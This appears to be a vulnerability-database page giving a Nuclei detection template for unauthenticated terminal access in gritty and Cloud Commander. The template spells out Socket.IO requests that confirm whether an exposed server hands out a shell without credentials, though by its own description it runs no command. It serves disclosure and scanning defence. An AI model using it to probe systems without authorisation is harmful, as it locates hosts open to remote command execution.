gritty-unauth-terminal: gritty Web Terminal - Unauthenticated Remote Code Execution

2026-12-04 PoC Public

Description

gritty's gritty.listen() asks for credentials only when the embedding application passes an auth callback; without one, every client that joins the /gritty Socket.IO namespace receives accept and can start a terminal. gritty's own CLI never passes one, and Cloud Commander's callback accepts any credentials while its auth option is off, which is the default, so cloudcmd --terminal without --auth is exposed. The template tries Engine.IO v4 (gritty 6.0.0 and later, socket.io 3 and 4) and then Engine.IO v3 (gritty 1.x to 5.x, socket.io 1 and 2); each attempt joins /gritty, sends an auth event with empty credentials (which a server enforcing auth rejects), and matches on accept. It never sends a terminal event and runs no command. For an install under a URL prefix, scan the prefixed URL.

Details

Severity
高危
Published
PoC
Public

PoC

id: gritty-unauth-terminal

info:
  name: gritty Web Terminal - Unauthenticated Remote Code Execution
  author: bandrel
  severity: critical
  description: |
    gritty's gritty.listen() asks for credentials only when the embedding application passes an auth callback; without one, every client that joins the /gritty Socket.IO namespace receives accept and can start a terminal. gritty's own CLI never passes one, and Cloud Commander's callback accepts any credentials while its auth option is off, which is the default, so cloudcmd --terminal without --auth is exposed. The template tries Engine.IO v4 (gritty 6.0.0 and later, socket.io 3 and 4) and then Engine.IO v3 (gritty 1.x to 5.x, socket.io 1 and 2); each attempt joins /gritty, sends an auth event with empty credentials (which a server enforcing auth rejects), and matches on accept. It never sends a terminal event and runs no command. For an install under a URL prefix, scan the prefixed URL.
  impact: |
    Unauthenticated attackers can run arbitrary commands on the server as the account running gritty or Cloud Commander.
  remediation: |
    Pass an auth callback that verifies credentials to gritty.listen(), or run Cloud Commander with --auth and a username and password. Do not expose the terminal to untrusted networks.
  reference:
    - https://github.com/cloudcmd/gritty
    - https://github.com/coderaiser/cloudcmd
    - https://github.com/bandrel/fastx32shell
    - https://fastx32shell.com
  metadata:
    verified: true
    max-request: 8
    vendor: coderaiser
    product: gritty
  tags: gritty,cloudcmd,socketio,rce,unauth,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/socket.io/?EIO=4&transport=polling&t=nuclei1"

    extractors:
      - type: regex
        name: sid
        part: body
        internal: true
        group: 1
        regex:
          - '"sid"\s*:\s*"([A-Za-z0-9_-]+)"'

  - method: POST
    path:
      - "{{BaseURL}}/socket.io/?EIO=4&transport=polling&sid={{sid}}&t=nuclei2"
    headers:
      Content-Type: text/plain;charset=UTF-8
    body: "40/gritty,"

  - method: POST
    path:
      - "{{BaseURL}}/socket.io/?EIO=4&transport=polling&sid={{sid}}&t=nuclei3"
    headers:
      Content-Type: text/plain;charset=UTF-8
    body: '42/gritty,["auth","",""]'

  - method: GET
    path:
      - "{{BaseURL}}/socket.io/?EIO=4&transport=polling&sid={{sid}}&t=nuclei4"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - '42/gritty,["accept"'

  - raw:
      - |
        GET /socket.io/?EIO=3&transport=polling&t=nuclei5 HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /socket.io/?EIO=3&transport=polling&sid={{sid3}}&t=nuclei6 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/plain;charset=UTF-8

        10:40/gritty,

      - |
        POST /socket.io/?EIO=3&transport=polling&sid={{sid3}}&t=nuclei7 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/plain;charset=UTF-8

        24:42/gritty,["auth","",""]

      - |
        GET /socket.io/?EIO=3&transport=polling&sid={{sid3}}&t=nuclei8 HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: sid3
        part: body_1
        internal: true
        group: 1
        regex:
          - '"sid"\s*:\s*"([A-Za-z0-9_-]+)"'

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "status_code_4 == 200"

      - type: word
        part: body_4
        words:
          - '42/gritty,["accept"'
# digest: 4a0a0047304502206ee8948c818e6047e46e53ead565ae0bdf80bba4187f011ff5d19237457abcb7022100f0d798ef198c7835bced27ecd610a2fbe2810a6be2e931b9a9a92e28913c9ec0:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life